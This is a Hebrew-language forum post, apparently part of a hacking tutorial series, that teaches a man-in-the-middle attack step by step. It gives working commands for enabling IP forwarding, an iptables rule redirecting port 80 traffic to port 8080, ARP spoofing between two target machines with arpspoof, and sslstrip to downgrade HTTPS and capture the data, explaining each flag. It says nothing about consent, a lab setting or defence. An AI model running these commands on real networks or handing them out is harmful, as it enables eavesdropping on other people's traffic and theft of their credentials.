פרק 3-מתקפות
חלק 2-מתקפות-מתקפת האדם באמצע!
שלום לכל הפורום היום אני ילמד אתכם מתקפה שאני ממש אוהב שנקראת man in the middle attack מתקפת האדם באמצע הקיצור של זה הוא mitm attack...
בכללי מטרת המתקפה היא לגנוב מידע בין שני מחשבים זאת אומרת "להיכנס בינהם" שזה אומר להגיד למחשב הראשון שאנחנו השני ולשני שאנחנו הראשון.
אז נתחיל,
לפני שעושים את המתקפה צריך לשים את המחשב שלנו על forwarding mode(מצב שילוח).
קודם נבדוק אם הוא עכשיו במצב שילוח, נרשום:
קוד:
cat /proc/sys/net/ipv4/ip_forward
אם זה ירשום לנו 0 סימן שאנחנו לא על מצב שילוח ואנחנו צריכים לשנות את זה לאחד ע"י זה שנרשום:
קוד:
echo 1 > /proc/sys/net/ipv4/ip_forward
רשמתי echo שזה אומר להדפיס ואני רוצה להדפיס את הערך 1, הסימן < אומר להחליף את הערך הקיים בערך חדש(ע"י echo).
עכשיו נבדוק אם זה עבד:
קוד:
cat /proc/sys/net/ipv4/ip_forward
וזה אמור להדפיס לנו את המספר 1 על המסך.
נמשיך,
עכשיו נשחק קצת עם ה-iptables(טבלאות אייפי).
נרשום:
קוד:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
עכשיו אני יסביר על הפקודה:
-t = טבלת אייפי
-A = הוספת חוק
-p = פרוטוקול
--destination-port = הפורט שעליו נעשה את המתקפה
-j = לקפוץ(מה לעשות עם המידע שנשיג, לאן לשלוח אותו)
--to-port = הפורט שאתם רוצים לעשות בו את ה- "REDIRECT".
nat = טבלת אייפי
PREROUTING = חוק
tcp/udp = פרוטוקולים
80 = הפורט שעושים עליו את המתקפה
REDIRECT = לשלוח את המידע שנקבל ללוקלהוסט שלנו(המחשב שלנו) לפורט מסויים
8080 = הפורט שעליו נשלח את המידע שנקבל מהמקפה כדי למנוע שאלות מטוטמות אפשר לרשום כל פורט במקום 8080 אבל בשלב מאוחר תצתרכו לזכור את הפורט הזה אז אל תחרבשו סתם פורט שאתם לא יודעים...
ועכשיו כשעשינו את זה למתקפה,
עכשיו מה שאנחנו צריכים לעשות זה להגיד למחשב 1 שאנחנו מחשב 2 ולמחשב 2 שאנחנו מחשב 1, ככה:
קוד:
arpspoof -i wlan0 -t IP1 IP2
ועכשיו נסביר:
-i = סוג החיבר שלנו לרשת(wlan0 או wifi0-רשת על חוטית eth0-רשת חוטית)
-t = המחשב שעליו עושים את המתקפה ואחרי זה השרת שרוצים לקבל ממנו את המידע(ip1 ו ip2).
עכשיו כשאמרנו לכל אחד שאנחנו השני אנחנו בבעיה, במקרה והוא יכנס לאתר https(Hyper Text Transfer Protocol Secured) אז אנחנו צריכים לבצעה את המתקפה על sslstrip 
אז עכשיו אנחנו נצרך להאזין בעזרת sslstrip כך:
בקונסול חדש:
ואז:
קוד:
python sslstrip.py -l 8080
עכשיו הסבר:
cd = לעבור למיקום מסויים.
python = להריץ סקריפט שבנוי על שפת פייתון
-l = הפורט שעליו המידע אמור להגיע
8080 = הפורט שהחלטנו שעליו המידע יגיע(אם אתם לא זוכרים למה זה 8080 אז תתחילו לקרוא שוב אתם תשימו לך)